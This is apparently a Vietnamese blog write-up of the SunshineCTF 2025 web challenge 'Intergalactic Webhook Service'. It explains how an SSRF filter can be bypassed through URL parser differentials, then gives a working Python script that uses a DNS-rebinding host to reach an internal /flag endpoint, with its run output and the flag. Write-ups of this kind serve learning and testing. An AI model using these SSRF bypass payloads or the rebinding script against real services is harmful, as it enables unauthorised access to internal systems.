[Web] Intergalactic Webhook Service (SunshineCTF 2025)

2025. 10. 1. 01:38·

Mô tả thử thách

I got tired of creating webhooks from online sites, so I made my own webhook service! It even works in outer space! Be sure to check it out and let me know what you think. I'm sure it is the most secure webhook service in the universe.
https://supernova.sunshinectf.games/

Phân tích

Nhận thấy đây là một Chall liên quan đến Webhook, có thể dễ dàng thấy ở ngay tên bài và trực tiếp trên web

Bây giờ chúng ta sẽ tiến hành phân tích source code trước


Phân tích Source code

Trong source code của web có một đoạn gọi /flag như sau

class FlagHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        if self.path == '/flag':
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(FLAG.encode())
        else:
            self.send_response(404)
            self.end_headers()

threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()

Phần này cho mình biết rằng chúng ta có thể lấy flag bằng yêu cầu POST tới http://127.0.0.1:5001/flag

Có 2 endpoint liên quan: /register (đăng webhook) và /trigger (gọi webhook đã đăng). Cả hai đều gọi hàm is_ip_allowed(url) để chặn URL trỏ tới địa chỉ nội bộ

Khi xem mã nguồn cho /trigger, mình thấy mã bên dưới gửi POST request đến địa chỉ được chỉ định bởi webhook miễn là nó vượt qua các kiểm tra trong is_ip_allowed(url)

Hàm kiểm tra is_ip_allowed

def is_ip_allowed(url):
    parsed = urlparse(url)
    host = parsed.hostname or ''
    try:
        ip = socket.gethostbyname(host)
    except Exception:
        return False, f'Could not resolve host'
    ip_obj = ipaddress.ip_address(ip)
    if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
        return False, f'IP "{ip}" not allowed'
    return True, None

Phân tích hàm:

  • Lấy host từ URL bằng urllib.parse.urlparse
  • Resolve ra IP thật bằng socket.gethostbyname
  • Nếu IP nằm trong các dải nội bộ (127.0.0.1, 10.x, 192.168.x.x, …) → từ chối

Điểm yếu

  • Hàm kiểm tra is_ip_allowed và hàm gửi requests.post không dùng cùng một parser URL
is_ip_allowed → urllib.parse.urlparse
requests.post(url, ...) → urllib3 bên trong Requests
  • Nếu 2 parser hiểu URL khác nhau → parser differential (mỗi thằng nghĩ host là khác nhau). Đây chính là chỗ để bypass
def is_ip_allowed(url):
    parsed = urlparse(url)       # <-- đây dùng urllib.parse.urlparse
    host = parsed.hostname or '' # <-- hostname từ urlparse dùng để resolve
    try:
        ip = socket.gethostbyname(host)
    ...
def trigger_webhook():
    ...
    try:
        resp = requests.post(url, timeout=5, allow_redirects=False)   # <-- đây dùng urllib3 bên trong Requests
    ...    

Ví dụ: http://1.1.1.1&@2.2.2.2#@3.3.3.3/

  • urllib2 / httplib (cũ): nghĩ host là 1.1.1.1
  • requests: nghĩ host là 2.2.2.2
  • urllib: nghĩ host là 3.3.3.3

Payload: http://127.0.0.1:5001\@8.8.8.8/../flag

  • urllib.parse coi phần trước và sau \@ là một netloc chung nhưng hostname cuối cùng được trả là phần sau (ở payload là 8.8.8.8)
  • urllib3 coi \@ như escape/ký tự đặc biệt không phân tách userinfo, và nhận host thực là 127.0.0.1 với port 5001


Script

Mình cũng có làm một script tự động đăng ký một webhook vào hệ thống của đề (supernova) rồi liên tục “kích hoạt” (trigger) cho tới khi phản hồi chứa chuỗi flag (sun{...})

Đầu tiên mình sẽ lên trang rbndr.us để tạo URL bypass

Script

#!/usr/bin/env python3
import sys, time, requests

BASE = "https://supernova.sunshinectf.games"

def register(url: str) -> str:
    r = requests.post(f"{BASE}/register", data={"url": url}, timeout=10)
    try:
        data = r.json()
    except Exception:
        print("Register raw:", r.status_code, r.text[:200])
        raise
    if r.status_code != 200:
        raise SystemExit(f"Register failed: {data}")
    print("[+] Registered:", data)
    return data["id"]

def trigger(webhook_id: str):
    r = requests.post(f"{BASE}/trigger", data={"id": webhook_id}, timeout=10)
    try:
        data = r.json()
    except Exception:
        print("Trigger raw:", r.status_code, r.text[:200])
        return None
    return data

def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} http://<rebinding-host>:5001/flag")
        sys.exit(1)
    url = sys.argv[1]
    wid = register(url)
    print("[*] Starting trigger loop. Looking for 'sun{' in response...")
    for i in range(1, 501):
        data = trigger(wid)
        if not data:
            continue
        print(f"[{i:03}] status={data.get('status')} err={data.get('error')}")
        resp = (data.get("response") or "")[:200]
        if "sun{" in resp:
            print("[+] FLAG:", resp)
            break
        time.sleep(0.2)
    else:
        print("[-] No luck. Try registering again (DNS might have cached).")

if __name__ == "__main__":
    main()

Run script

$ python3 solve_intergalactic_webhook_dnsrebind.py http://01010101.7f000001.rbndr.us:5001/flag
[+] Registered: {'id': '2e141b1f-dba3-4ca4-ad41-d067302fa032', 'status': 'registered', 'url': 'http://01010101.7f000001.rbndr.us:5001/flag'}
[*] Starting trigger loop. Looking for 'sun{' in response...
[001] status=None err=something went wrong
[002] status=None err=IP "127.0.0.1" not allowed
[003] status=None err=something went wrong
[004] status=None err=IP "127.0.0.1" not allowed
[005] status=200 err=None 
[+] FLAG: sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}

Flag

Flag:  sun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}

'WriteUp > Web' 카테고리의 다른 글

[Web] Puzzle - Securinets CTF Quals 2025  (0) 2025.10.06
[Web] Lunar File Invasion (SunshineCTF 2025)  (0) 2025.10.01
[Web] Web Forge (SunshineCTF 2025)  (0) 2025.10.01
[Web] Lunar Shop (SunshineCTF 2025)  (0) 2025.10.01
[Web] Lunar Auth (SunshineCTF 2025)  (0) 2025.10.01
'WriteUp/Web' Other posts in category
  • [Web] Lunar File Invasion (SunshineCTF 2025)
  • [Web] Web Forge (SunshineCTF 2025)
  • [Web] Lunar Shop (SunshineCTF 2025)
  • [Web] Lunar Auth (SunshineCTF 2025)
longhd
longhd
Longhd's Blog
  • longhd
    Ha Duy Long - InfosecPTIT
    longhd
  • Total
    Today
    Yesterday
  • About me

    • Hello I'm Duy Long 👋🏻
    • View all categories (117) N
      • Certificates (4)
      • CTF (3)
      • WriteUp (94) N
        • Forensics (44) N
        • Steganography (5)
        • RE (9) N
        • OSINT (8)
        • Web (17)
        • MISC (6)
        • Crypto (3)
        • Pwn (2)
      • Love Story (0)
      • Labs (15)
        • Information Gathering (10)
        • Vulnerability Scanning (2)
        • Introduction to Web Applica.. (1)
        • Common Web Application Atta.. (1)
        • SQL Injection Attacks (1)
  • Blog Menu

    • Home
    • Tag
    • GuestBook
  • Popular Posts

  • Tags

    Steganography
    Forensics
    picoCTF
    Re
    V1tCTF2025
    BuckeyeCTF2025
    EnigmaXplore3.0
    Web
    writeup
    SunshineCTF2025
    Dreamhack
    THM
    CTF
    OSINT
    misc
    CHH
    POCCTF2025
    htb
    PTITCTF2025
    CSCV2025
  • Recent Comments

  • Recent Posts

  • hELLO· Designed ByLong.v4.10.4
longhd
[Web] Intergalactic Webhook Service (SunshineCTF 2025)
Go to Top

티스토리툴바